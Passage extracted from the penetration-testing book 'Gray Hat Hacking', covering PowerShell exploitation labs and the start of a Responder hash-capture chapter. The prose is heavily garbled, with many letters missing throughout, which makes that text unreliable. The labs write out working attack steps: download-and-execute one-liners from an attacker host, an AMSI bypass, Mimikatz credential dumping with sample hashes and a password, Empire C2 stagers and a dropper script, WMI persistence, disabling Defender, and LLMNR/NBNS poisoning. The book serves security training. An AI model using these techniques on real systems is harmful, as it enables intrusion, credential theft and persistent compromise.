RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAHcAaQBuADMAMgBfAGMAbwBtAHAAdQB0AGUAcgBzAHkAcw
B0AGUAbQAgAHwAIABzAGUAbABlAGMAdAAgAE4AYQBtAGUA
Chapter 15: PowerShell Exploitation
311
Th followig oupu should appa:
Name
----
EC2AMAZ-H3UU9JA
You ca s h ha wh w pass ou sig wih h -enc opio, w g h xpcd
oupu. Now w ca build mo complx scips ad pass a i scip o h com-
mad li so ha w do’ hav o woy abou scip xcuio pvio.
I addiio o usig h b64 ick, w ca also do his dicly fom PowShll
ud Kali. This isac has Micosof PowShll isalld ad is xcuabl by h
pwsh commad. W ca us h bulk of h PowShll commads h sam as w
would b abl o o Widows.
└─$ pwsh
PowerShell 7.1.1
PART III
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/kali> $cmd = "Get-WMIObject win32_computersystem | Select Name"
PS /home/kali> [convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
RwBlAHQALQBXAE0ASQBPAGIAagBlAGMAdAAgAHcAaQBuADMAMgBfAGMAbwBtAHAAdQB0AGUAcgBzAHkAc
wB0AGUAbQAgAHwAIABTAGUAbABlAGMAdAAgAE4AYQBtAGUA
To xi h PowShll shll, yp exit o u o you gula shll pomps.
Fo complx scips, codig hm may o always b ou bs b. O of ou
oh opios is o pu hm o a wbsi, load h scips, ad h boosap hm
io ou cod. Two fucios i PowShll hlp us do his: Invoke-Expression ad
Invoke-WebRequest.
Invoke-WebRequest will go ou ad fch a wb pag ad h u h cos
of h pag. This allows us o how a pag o h I wih ou cod i i ad h
fch i fom wihi PowShll. This fucio uss h IE gi by dfaul, which ou
Widows 2019 box may o hav iiializd, so w’ goig o hav o us a wokaoud
o mak su i ca fch ou wb pags. W ca us h -UseBasicParsing opio o ll
h fucio o o y o pas h suls bu isad o jus u hm o us.
Th Invoke-Expression fucio valuas h cod passd o i. W could load h cod
fom a fil ad h pass i via sdi o aoh opio. O of h mos commo mhods
aacks us, hough, is o pass Invoke-Expression h oupu fom a wb qus so ha
hy ca boosap i lag pogams wihou havig o woy abou scip blockig.
To bgi, l’s ca a fil ha w wa o sv, ad h w ca sa a basic Pyho
sv i h backgoud. O h Kali box i h lab, yp h followig:
└─$ echo -n "Get-WmiObject win32_computersystem | select Name" > t.ps1
┌──(kali kali)-[~]
└─$ python3 -m http.server 8080 &
[1] 10932
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Gray Hat Hacking: The Ethical Hacker’s Handbook
312
Ou fil is amd .ps1 bcaus w wa o yp h las amou possibl. Wih ou
wb sv uig o Kali (10.0.0.40, i his xampl) ad ou cod i .ps1, w ca
xcu h cod hough ou PowShll commad li fom ou Widows ag wih-
ou havig o woy abou usig h encodedcommand opio. Us a commad shll
usig h “ag” us’s cox:
C:\Users\target>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\target> iex(iwr -UseBasicParsing http://10.0.0.40:8080/t.ps1)
Name
----
EC2AMAZ-H3UU9JA
H, w hav chaid ou wo commads ogh o pull i h fil fom ou Kali
box ad xcu i. This givs us h sam oupu as uig locally, ad w did’ g ay
of h o mssags w saw bfo wh w w yig o xcu scips.
W ca do his sam hig wih Uivsal Namig Covio (UNC) pahs. Fo his
pa of h lab, w’ goig o us Impack’s smbsv i od o sha ou dicoy.
W wa o call ou sha ghh, ad w wa i o map o ou local dicoy. W a also
goig o u i i h backgoud. W will b abl o s h oupu fom h sv o
ou sc bu sill b abl o yp commads.
└─$ sudo impacket-smbserver ghh `pwd` -smb2support &
[2] 11076
┌──(kali kali)-[~]
└─$ Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
Fially, w ca s ou Samba svic. Wh pompd fo a passwod fom smbcli,
jus pss enter.
└─$ smbclient -L localhost
Enter WORKGROUP\kali's password:
Sharename Type Comment
--------- ---- -------
IPC$ Disk
GHH Disk
SMB1 disabled -- no workgroup available
Oc ou svic is sad, w ca a sha lisig usig smbcli o vify ha
ou sha was succssfully addd. Wih h shas s up, ow w ca fc h sam
scip via a UNC pah. Isad of usig h commad li, l’s lauch h PowShll
xcuabl wihou ay commad-li opios ad y his ou:
PS C:\Users\target> iex(iwr \\10.0.0.40\ghh\t.ps1)
Name
----
EC2AMAZ-H3UU9JA
Chapter 15: PowerShell Exploitation
313
H w hav usd h sam basic appoach wih ou UNC pah isad of a URL.
This givs us a fw diff ways o xcu cod o boxs wihou havig o chag
policis fo PowShll.
PART III
ifomaio.
Udsadig how hs ools wok ogh wih h s of ou ools will hlp us
g ad maiai accss o boxs as wll as o popaga houghou a domai. I his
scio, w’ goig o look a a hadful of h usful ools i h PowSploi sui ad
us hm o ca a foohold wihou havig o dop ay addiioal ools o h sysm.
Eali i h chap w lookd a diff ways o u scips wihi PowShll. I his
scio of h chap, w d o g PowSploi s up so w ca accss i asily. Wih
ou cloud sup, w alady hav PowSploi clod io a local dicoy, ad bcaus
i’s i ou hom dicoy, i is also mappd o ou SMB sha ad wb sv uig
fom h pvious xcis.
CAUTION Some tutorials online will have you access the files in PowerSploit
and other exploit code directly from GitHub using the raw .githubusercontent
.com site. This is incredibly dangerous because you don’t always know the state
of that code, and if you haven’t tested it, you could be running something
destructive on your target. Always clone the repository and test the scripts you
are going to run on a VM before you run them on a target system so that you,
your client, and your lawyers aren’t surprised.
To mak h URIs asi o accss, l’s am h dicoy o somhig sho.
Spac is’ ally a issu h; howv, wh w a yig o smuggl ov codd
daa, h codig adds mo chaacs, ad so sho is fquly b. To am
h dicoy, jus yp h followig:
└─$ mv PowerSploit ps
Gray Hat Hacking: The Ethical Hacker’s Handbook
314
Wh w “cd” io h ps dicoy, w s a umb of fils ad a dicoy sucu.
L’s ak a high-lvl look a wha w ca fid i ach dicoy:
└─$ cd ps
┌──(kali kali)-[~/ps]
└─$ ls -1d */
AntivirusBypass/
CodeExecution/
Exfiltration/
Mayhem/
Persistence/
Privesc/
Recon/
ScriptModification/
Tests/
docs/
O of h amazig faus of PowSploi is h abiliy o ivok Mimikaz hough
PowShll. To do his, w hav o call h Ivok-Mimikaz.ps1 scip ou of h Pivsc
fold. L’s giv i a sho. Log o o you Widows ag sysm i h lab ad h us
h followig commads:
PS C:\Users\target> iex(iwr -UseBasicParsing
http://10.0.0.40:8080/ps/Exfiltration/Invoke-Mimikatz.ps1)
At line:1 char:1
+ iex(iwr -UseBasicParsing http://10.0.0.40:8080/ps/Exfiltration/Invoke ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus
software.
+ CategoryInfo : ParserError: (:) [],
PART III
ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
W ca s fom h o mssag ha Widows dcd h scip as malicious ad
blockd i. Th scip oly xiss i mmoy, so wha is happig h? Widows Ai-
malwa Sca Ifac (AMSI) is lookig a h co of h PowShll scip ad
h dmiig ha i is malicious. W hav a fw opios fo how o dal wih his:
w ca ih y a diff ool, y o obfusca h cod i such a way i is’ dcd
aymo, o disabl AMSI. Fo his xampl, l’s y o disabl AMSI. O ou Kali box,
w alady hav a scip calld amsi.ps1 siig i h Kali us hom dicoy. L’s y
o u ha ad s if w ca xcu h scip:
PS C:\Users\target> iex(iwr -UseBasicParsing http://10.0.0.40:8080/amsi.ps1)
-- AMSI Patch
-- Modified By: Shantanu Khandelwal (@shantanukhande)
-- Original Author: Paul La??n?? (@am0nsec)
Th AMSI bypass wokd! I his cas, w s i succssfully loadd h scip. Fom
h, w ca y o u Ivok-Mimikaz ad s if w ca g cdials:
PS C:\Users\target> Invoke-Mimikatz
Exception calling "GetMethod" with "1" argument(s): "Ambiguous match found."
At line:886 char:6
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddr ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : AmbiguousMatchException
Gray Hat Hacking: The Ethical Hacker’s Handbook
316
W go a bi fuh his im, bu h scip od. O of h dowsids abou
PowSploi is ha i is o acivly maiaid. Th hav b a umb of quss
fo updas i h GiHub posioy fo som im. O of hm icluds h Ivok-
Mimikaz.ps1 scip ha is siig i h Kali hom dicoy. L’s y ha vsio isad:
PS C:\> iex(iwr -UseBasicParsing http://10.0.0.40:8080/Invoke-Mimikatz.ps1)
PS C:\> Invoke-Mimikatz -DumpCreds
mimikatz(powershell) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
mimikatz(powershell) # exit
Bye!
PS C:\>
C:\>
I a, bu h a a fw poblms. Th fis hig ha w oic is ha h a o
cdials. This is bcaus his us is subjc o Us Accou Cool (UAC), ad h
us is’ uig i a lvad shll. Th scod hig w oic is ha PowShll is
fo som aso xid. Wh w pay aio o h Widows Dfd als, w s
ha Dfd has dcd malicious aciviy ad has killd ou pocss. If w w i a
lvad pocss, his scip would wok, bu sic w a’ w d o figu ou how
o g a pivilgd shll. Bcaus w a o h cosol, w ca jus qus o “Ru as
Admiisao,” bu if w w o a mo sssio, w would’ b abl o do ha.
Th oigial PowShll Empi has b abadod, bu BC Scuiy has pickd up
h pojc, pod i o Pyho3, ad is coiuig o mak updas. This is h vsio
ha’s ow budld wih Kali. Bcaus w will wa o us pos 80 ad 443, w d o
Chapter 15: PowerShell Exploitation
317
mak su oh svics a’ uig o hs pos ad h sa PowShll Empi
usig sudo.
└─$ sudo netstat -anlp | grep LISTEN | grep -e 80 -e 443
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
40102/nginx: master
tcp6 0 0 :::80 :::* LISTEN
40102/nginx: master
unix 2 [ ACC ] STREAM LISTENING 16080 715/nmbd
/var/run/samba/nmbd/unexpected
This xampl shows gix is uig. To sop ha, w do h followig (you sysm
may hav a diff saus basd o you posiio i h labs):
└─$ sudo service nginx stop
┌──(kali kali)-[~]
PART III
└─$ sudo netstat -anlp | grep LISTEN | grep -e 80 -e 443
unix 2 [ ACC ] STREAM LISTENING 16080 715/nmbd
/var/run/samba/nmbd/unexpected
W s ha gix is ow soppd, so w ca sa Empi. To do his, w jus u h
powershell-empire biay usig sudo:
└─$ sudo powershell-empire
Oc Empi is sad, w will s is mu sysm, ad w ca yp help o s
opios o g sad.
Wih Empi s up, w d o ca a lis ad h a sag. Th sag abls us
o boosap xcuio of ou C2 o h ag sysm. Th lis civs commuica-
ios fom h compomisd sysms. W s up spcific liss fo spcific poocols
of commuicaio. Fo ou xampl, w’ goig o us a HTTP-basd lis so ha
wh a C2 cocs back o us, i looks lik wb affic.
Th fis sp is o s up ou lis. To do his, w go io h liss mu ad
choos h HTTP lis. Th w abl som basic sigs ad xcu ou lis,
lik so:
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Port 80
(Empire: listeners/http) > execute
[*] Starting listener 'http'
* Serving Flask app "http" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
[+] Listener successfully started!
Gray Hat Hacking: The Ethical Hacker’s Handbook
318
Now ha ou lis is sad, h x sp is o ca ou boosap fil. To do his,
w go back ou o h mai mu ad choos a sag, as show h:
(Empire: listeners/http) > back
(Empire: listeners) > back
(Empire) > usestager windows/launcher_bat
(Empire: stager/windows/launcher_bat) > set Listener http
(Empire: stager/windows/launcher_bat) > generate
[*] Stager output written out to: /tmp/launcher.bat
W slc h windows/launcher_bat modul fo ou sag. This will giv us a
PowShll commad ha w ca copy ad pas o h ag sysm o lauch ou C2.
W spcify h lis w wa i o coc back o, ad fially w ga h fil.
This lab bgis wh Lab 15-8 ds. Plas b su Empi is sill uig o h Kali
box i h lab. I his lab, w dploy ou ag ad h wok owad scalaio ad full
compomis of h sysm. Th /mp/lauch.ba fil will d o b asfd o ou
Widows sysm, so if h pyho wb sv is sill uig, all w d o do is o copy
i o ou hom dicoy. Fom a w SSH widow w yp:
┌──(kali kali)-[~]
└─$ cp /tmp/launcher.bat .
Nx l’s y o dowload ad u h fil o h Widows ag i h lab. To do
his, w ca us PowShll’s iwr commad:
PS C:\Users\target> iwr http://10.0.0.40:8080/launcher.bat -OutFile
launcher.bat
PS C:\Users\target> dir launcher.bat
Directory: C:\Users\target
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/6/2021 5:54 AM 5221 launcher.bat
PS C:\Users\target> .\launcher.bat
Program 'launcher.bat' failed to run: Operation did not complete successfully
because the file contains a virus or potentially unwanted software
At line:1 char:1
Wh you lis h dicoy fo lauch.ba, you may o s h fil bcaus Ai-
Vius has alady movd i. Do’ paic. This is xpcd. Ou fil dowloadd succss-
fully bu i did’ u poply bcaus i was dcd as a vius wh AMSI lookd a
h cod. To g aoud his, w ca us h AMSI bypass ad jus load h scip islf.
L’s sa ou by modifyig h ba fil o h Kali box so ha i jus has h Bas64
sig i i by dlig vyhig up o h Bas64 sig:
└─$ cat launcher.bat | grep enc | tr " " "\n" | egrep -e '\S{30}+' > dropper
Chapter 15: PowerShell Exploitation
319
This cod will gab h Bas64 sig ou of h fil ad sav i i a fil calld dopp.
Th cod is lookig fo h PowShll li wih c i i, covig h spacs o w-
lis ad h fidig h big sig. This will wok v if Empi chags h callig
covios slighly. W ow hav a fil calld dopp i ou hom dicoy ha w ca
call wih h wbsv fom ou Widows box.
PS C:\Users\target> iex(iwr -UseBasicParsing http://10.0.0.40:8080/amsi.ps1)
-- AMSI Patch
-- Modified By: Shantanu Khandelwal (@shantanukhande)
-- Original Author: Paul La??n?? (@am0nsec)
PART III
PS C:\Users\target> iex([System.Text.Encoding]::Unicode.GetString($b))
Fis w load ou AMSI bypass scip, ad w s ha i compls succssfully. W
load h Bas64 sig fom h sv io h vaiabl “$a” ad h cov ha fom
Bas64 usig FomBas64Sig. W sill hav o cov ha oupu io a Sig, so
h Uicod.GSig covs h “$b” vaiabl wih ou dcodd sig io a sig
ha iex ca xcu. This commad should hag, ad w should s oupu o ou Kali
box i Empi.
[*] Sending POWERSHELL stager (stage 1) to 10.0.0.20
[*] New agent CDE5236G checked in
[+] Initial agent CDE5236G from 10.0.0.20 now active (Slack)
[*] Sending agent (stage 2) to CDE5236G at 10.0.0.20
Oc ou ag is aciv, ou x sp is o iac wih ha ag, as show x.
No ha ags a spcifid by am, ad yous may b diff. I ou cas, w us
CDE5236G.
(Empire) > interact CDE5236G
(Empire: CDE5236G) >
Now ha w a iacig wih ou ag, w d o bypass h Us Accou
Cool (UAC) viom so ha w ca g a lvad shll o u Mimikaz. To
do his, w u h bypassuac commad, which should spaw a w lvad shll fo
us o wok wih:
(Empire: CDE5236G) > bypassuac http
[*] Tasked CDE5236G to run TASK_CMD_JOB
[*] Agent CDE5236G tasked with task ID 1
[*] Tasked agent CDE5236G to run module powershell/privesc/bypassuac_eventvwr
(Empire: CDE5236G) >
Job started: 9E1TXF
W s ha h job lauchd bu w did’ g a addiioal shll back. Wha’s mo,
if w look a ou Widows box, w’v b kickd ou of PowShll. Th bypassuac
modul’s aciviis w s as malicious, ad so PowShll was killd ad ow ou
ag has b miad as wll.
Gray Hat Hacking: The Ethical Hacker’s Handbook
320
W ca s fom Figu 15-1 ha h ag has soppd chckig i (h im is d i
h display). As of h wiig of his book, h is’ a UAC bypass xploi ha woks
wll ud Widows 2019 i Empi, so w will d o fid aoh way.
Th Labl lls wha h Madaoy Igiy Cool (MIC) lvl is. Mdium allows
may asks o u, bu o admiisaiv fucios. Th High Igiy lvl would
allow us o pfom Admiisaiv asks. L’s coc o h hos fom ou Kali lab box
usig vil-wim o s wha ou lvl is. Fis, op a w cocio o Kali i h lab
ad lauch vil-wim:
└─$ evil-winrm -i 10.0.0.20 -u target -p 'Winter2021!'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\target\Documents> whoami /groups | select-string Level
Mandatory Label\High Mandatory Level Label S-1-16-12288
W ca s ha h WiRM cocio, v wih h sam cdials, has h High
Igiy lvl applid. L’s xi h shll by ypig exit ad build a sigl fil o us fo
sagig wih ou wb sv. Us you favoi dio ad add h followig cod o a w
fil calld sag.x:
iex(iwr -UseBasicParsing http://10.0.0.40:8080/amsi.ps1)
$a = iwr -UseBasicParsing http://10.0.0.40:8080/dropper
$b = [System.Convert]::FromBase64String($a)
iex([System.Text.Encoding]::Unicode.GetString($b))
Chapter 15: PowerShell Exploitation
321
PART III
-- AMSI Patch
-- Modified By: Shantanu Khandelwal (@shantanukhande)
-- Original Author: Paul La??n?? (@am0nsec)
[+] 64-bits process
[+] AMSI DLL Handle: 140731664891904
[+] DllGetClassObject address: 140731664898192
[+] Targeted address: 140731664904992
Th commad should hag, ad w should s a w cocio i Empi:
[*] Sending POWERSHELL stager (stage 1) to 10.0.0.20
[*] New agent G1UK4HVY checked in
[+] Initial agent G1UK4HVY from 10.0.0.20 now active (Slack)
[*] Sending agent (stage 2) to G1UK4HVY at 10.0.0.20
W ow hav a w ag ha should hav lvad pivilgs. W ca vify ha w
hav a lvad shll by ypig agents ad lookig fo a asisk (*) by h us, which
idicas lvad pivilgs.
W also oic ha i Figu 15-2 h pocss is o lisd as “powshll” bu
as “wsmpovhos,” which is h pocss ha WiRM us ud. W ca also s
wha oh cdials may b i mmoy usig Mimikaz. To do his, w ca u
h usemodule commad o load h mimikatz logonpasswords commad ad h
xcu i wihi h cox of ou ag:
(Empire) > interact G1UK4HVY
(Empire: G1UK4HVY) > usemodule credentials/mimikatz/logonpasswords*
(Empire: powershell/credentials/mimikatz/logonpasswords) > execute
[*] Tasked G1UK4HVY to run TASK_CMD_JOB
[*] Agent G1UK4HVY tasked with task ID 2
[*] Tasked agent G1UK4HVY to run module
powershell/credentials/mimikatz/logonpasswords
(Empire: powershell/credentials/mimikatz/logonpasswords) >
Job started: VR9Y3N
Hostname: EC2AMAZ-H3UU9JA / S-1-5-21-2217241502-1309182757-3818233093
.#####. mimikatz 2.2.0 (x64) #19041 Oct 4 2020 10:28:51
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(powershell) # sekurlsa::logonpasswords
Gray Hat Hacking: The Ethical Hacker’s Handbook
322
Authentication Id : 0 ; 299099 (00000000:0004905b)
Session : RemoteInteractive from 2
User Name : target
Domain : EC2AMAZ-H3UU9JA
Logon Server : EC2AMAZ-H3UU9JA
Logon Time : 2/1/2021 3:57:06 AM
SID : S-1-5-21-2217241502-1309182757-3818233093-1008
msv :
[00000003] Primary
* Username : target
* Domain : EC2AMAZ-H3UU9JA
* NTLM : 5a00eb5b36b88519b7725b82d3464b0a
* SHA1 : 40f1de2ed441fe33a1ccdb949db6a4cb180b3d8d
tspkg :
wdigest :
* Username : target
* Domain : EC2AMAZ-H3UU9JA
* Password : (null)
kerberos :
* Username : target
* Domain : EC2AMAZ-H3UU9JA
* Password : Winter2021!
NOTE Running Mimikatz may cause your shell to disappear. If you don’t
get information back, remember to type the agents command to see if
your agent is still alive. If it isn’t, go back and run the Evil-WinRM step again
and get a new shell to perform the rest of the lab. You may also not see
plaintext credentials; if this is the case, log back in to the system with RDP
and try again.
H w s ha w hav h ag us’s passwod i plaix as wll as h NTLM
hash fo h us. If oh uss w loggd i, his could b a addiioal way o gah
cdials, bu sic w alady hav h cdials fo his us, w ca jus add psis-
c so if h cdials chag, w ca g back i. To do his, w jus hav o us h
psisc modul ad xcu i:
(Empire: powershell/credentials/mimikatz/logonpasswords) > back
(Empire: 19VUB7PN) > usemodule persistence/elevated/wmi
(Empire: powershell/persistence/elevated/wmi) > set Listener http
(Empire: powershell/persistence/elevated/wmi) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked 19VUB7PN to run TASK_CMD_WAIT
[*] Agent 19VUB7PN tasked with task ID 1
[*] Tasked agent 19VUB7PN to run module powershell/persistence/elevated/wmi
WMI persistence established using listener http with OnStartup WMI subsubscription
trigger.
W ow hav saup psisc s hough WMI, so w should b abl o boo ou
Widows box ad g a shll back.
NOTE If you don’t get a shell back, we can either do work to modify the
persistence mechanism or turn it off using the command Set-MPPreference
-DisableRealTimeMonitoring $true in our Evil-WinRM shell. After this
command is run, you should get back a shell after the next reboot.
Chapter 15: PowerShell Exploitation
323
Summary
PowShll is o of h mos powful ools o a Widows sysm. I his chap, w
lookd a h diff scuiy cosais aoud uig PowShll scips. W also
lookd a how o bypass hs cosais usig a vaiy of diff chiqus.
Oc you bypass hs sicios, h doo is op fo you o us oh famwoks
such as PowSploi ad PowShll Empi. Ths ools allow you o g addiioal
accss o sysms, maiai psisc, ad xfila daa.
By usig hs chiqus, you ca “liv off h lad,” maig ha you oly us
wha’s alady o you ag sysm. No addiioal biais a quid. Bcaus som
of you scips may b caugh by AV, w also lookd a how o wok aoud AMSI o g
cod xcuio. I h d, you’ll hav ags ha maiai psisc acoss boos, as
wll as a umb of ools o maiai accss o you ag sysms whil gahig ad
xfilaig daa.
PART III
For Further Reading
PowerShell Empire home page gihub.com/BC-SECURITY/Empi
PowerSploit documentation powsploi.adhdocs.io//las/
“Using Reflection for AMSI Bypass” www.dam.caf/d-am/powshll/usig-
flcio-fo-amsi-bypass
“Enabling Enhanced PowerShell logging & Shipping Logs to an ELK Stack for Threat
Hunting” cybwadog.blogspo.com/2017/06/ablig-hacd-ps-loggig-shippig
.hml
Reference
1. Mahw Duwoody, “Ga Visibiliy Though PowShll Loggig,” FiEy,
Fbuay 11, 2016, hps://www.fiy.com/blog/ha-sach/2016/02/
ga_visibiliy.hml.
This page intentionally left blank
Getting Shells
Without Exploits
CHAPTER
16
In this chapter, we cover the following topics:
• Capturing password hashes
• Using Winexe
• Using WMI
• Taking advantage of WinRM
One of he key enes in peneaion esing is seah. The soone we ae seen on he
newok, he fase he espondes an sop us fom pogessing. As a esu, using oos
ha seem naua on he newok and using uiiies ha do no geneae any noieabe
impa fo uses is one of he ways we an say unde he ada. In his hape we ae
going o ook a some ways o gain aess and move aeay hough an envionmen
whie using oos ha ae naive on he age sysems.
325
Gray Hat Hacking: The Ethical Hacker’s Handbook
326
In siuaions whee DNS fais, moden Windows sysems use wo pooos o y
o esove he hosname on he oa newok. The fis is Link Loa Muias Name
Resouion (LLMNR). As he name suggess, his pooo uses muias o y o find
he hos on he newok. Ohe Windows sysems wi subsibe o his muias addess.
When a hos sends a eques, any isening hos ha owns ha name and an un i ino
an IP addess wi geneae a esponse. One he equesing hos eeives ha esponse,
he sysem wi send us o he esponding hos.
Howeve, if Windows an’ find he hos using LLMNR, hee is one addiiona way
o find he hos. Windows uses he NeBIOS Name Sevie (NBNS) and he NeBIOS
pooo o y o disove he IP. I does his by sending a boadas eques fo he hos
o he oa subne, and hen i wais fo someone o espond o ha eques. If a hos
exiss wih ha name, i an espond diey. Then ou sysem knows, o ge o ha
esoue, i needs o go o ha oaion.
Boh LLMNR and NBNS ey on us. In a noma envionmen, a hos wi ony
espond o hese pooos if i is he hos being seahed fo. As a maiious ao, hough,
we an espond o any eques sen ou o LLMNR o NBNS and say ha he hos being
seahed fo is owned by us. Then when he sysem goes o ha addess, i wi y o
negoiae a onneion o ou hos, and we an gain infomaion abou he aoun ha
is ying o onne o us.
PART III
onge an effiien way o ak hese ypes of hashes.
NOTE It is worth noting that challenge hashes cannot be used for pass-the-
hash attacks. If you don’t know what type of hash you are dealing with, refer
to the entry for “hashcat Hash Type Reference” in the “For Further Reading”
section at the end of this chapter. Use the URL provided to identify the type
of hash you’re dealing with.
Using Responder
In ode o apue hashes, we need o use a pogam o enouage he viim hos o give
up he NeNTLM hashes. To ge hese hashes, we’ use Responde o answe LLMNR
and NBNS queies. We’e going o use a fixed haenge on he seve side, so we’ ony
have o dea wih one se of andomness insead of wo.
Getting Responder
Responde aeady exiss on ou Kai Linux disibuion. Howeve, Kai doesn’ aways
updae as fequeny as he eao of Responde, Lauen Gaffié, ommis updaes.
Beause of his, we’e going o use he aes vesion of Responde. I aeady exiss on he
ab Kai insane, bu we need o updae i o he aes vesion. In ode o updae ou
eposioy, simpy do he foowing:
└─$ cd responder/
┌──(kali kali)-[~/responder]
└─$ git pull
Already up to date.
If hee ae any updaes, ou ode woud now be up o dae. By veifying ha ou ode
is up o dae befoe eah exeuion, we an make sue we’e using he aes ehniques o
ge he mos ou of Responde.
Gray Hat Hacking: The Ethical Hacker’s Handbook
328
Running Responder
Now ha we have Responde insaed, e’s ook a some of he opions we an use. Fis
of a, e’s ook a a he hep opions:
┌──(kali kali)-[~/responder]
└─$ ./Responder.py -h
<snipped for brevity>
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
❶ -I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: False
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
on the network. Default: False
❸ -f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.
❷ -w, --wpad Start the WPAD rogue proxy server. Default value is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. This option is highly effective when combined with
-r. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
-v, --verbose Increase verbosity.
Thee ae a o of opions hee, so e’s onenae on he ones ha ae mos use-
fu and ess ikey o beak anyhing. Some of hese opions, suh as wredir, wi beak
newoks unde eain ondiions. Aso, some aions wi give us away, suh as foing
basi auheniaion. When we foe basi auheniaion, he viim wi see a pop-up
box asking fo a usename and passwod. The upside is ha we wi ge he passwod in
painex, bu he downside is ha he use migh eaize ha somehing is up.
Now ha we’ve oveed wha no o do, e’s ake a ook a how o use Responde.
The mos impoan opion is speifying he inefae ➊. Fo ou es, we’e going o
be using ou pimay newok inefae, eh0. If you ae in a sysem ha has muipe
inefaes, you oud speify an aenae inefae o use ALL o isen o a ine-
faes. The nex opion we’ speify is he WPAD seve ➋. WPAD is he Web Poxy
Chapter 16: Getting Shells Without Exploits
329
Auo-Disovey pooo. I is used by Windows devies o find a poxy seve on he
newok. This is safe o use if you Kai box has die aess o he Inene. Howeve, if
you’e on a newok whee you Kai box has o go hough a poxy, hen his wi beak
he iens you poison, so don’ use i. The benefi of using his opion is, if hoss ook
fo a WPAD seve fo web affi, any web affi wi igge Responde’s poisoning
o ge a hash—wheeas wihou i, you have o wai fo someone o go o a shae ha
doesn’ exis.
Finay, we’ use he fingerprint ❸ opion. This opion gives us some basi infoma-
ion abou hoss using NeBIOS on he newok, suh as he names being ooked up
and he hos OS vesions. This wi give us an indiaion of wha ypes of boxes ae on
he newok.
PART III
NOTE The GitHub repository for this chapter contains a README file that
discusses the setup of the network for this and other labs in this chapter.
Therefore, you should read this file before continuing, to make sure these
labs work for you. If at any point you need the IP addresses of the systems,
you can always run terraform show from the terraform directory in the lab
subdirectory for this chapter.
Now ha you have he basis down, e’s pu you knowedge o wok. In ou ab newok
we have a age ompue unning Windows Seve 2016 and a Kai box. Fis, we SSH
ino he Kai sysem. Then we hange ino he Responde dieoy. We beome oo
o ensue we an inea wih sysem sevies a he igh piviege eve, and we sop
Apahe and smbd. Doing his makes sue ha Responde an use hose pos. Now, un
Responde o sa he poisoning poess:
┌──(kali kali)-[~/responder]
└─$ sudo bash
┌──(root kali)-[/home/kali/responder]
└─# service apache2 stop
┌──(root kali)-[/home/kali/responder]
└─# service smbd stop
┌──(root kali)-[/home/kali/responder]
└─#./Responder.py -wf -I eth0
<snipped for brevity>
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
Auth proxy [OFF]
SMB server [ON]
<snipped for brevity>
[+] Listening for events...
Gray Hat Hacking: The Ethical Hacker’s Handbook
330
Now ha Responde is isening, we an wai fo a eques o be made. In he ab, a
shedued ask on he age seve simuaes a eques evey minue. In eaiy, we woud
have o wai fo someone o make a eques ha doesn’ nomay esove. This oud ake
seonds o muh onge, depending on how aive he newok is and how many ypos
o invaid hosnames he hos is using.
Ou shedued ask akes ae of his fo us, bu Figue 16-1 shows wha we woud see
if we ied o aess a nonexisen shae fom a Windows sysem. Beyond he “Aess is
denied” message, we don’ see any ohe sange behavio on he Windows sysem. On
he Kai box, hough, we see a o of aiviy:
[SMB] NTLMv2-SSP Client : 10.0.0.20
[SMB] NTLMv2-SSP Username : GHH\target
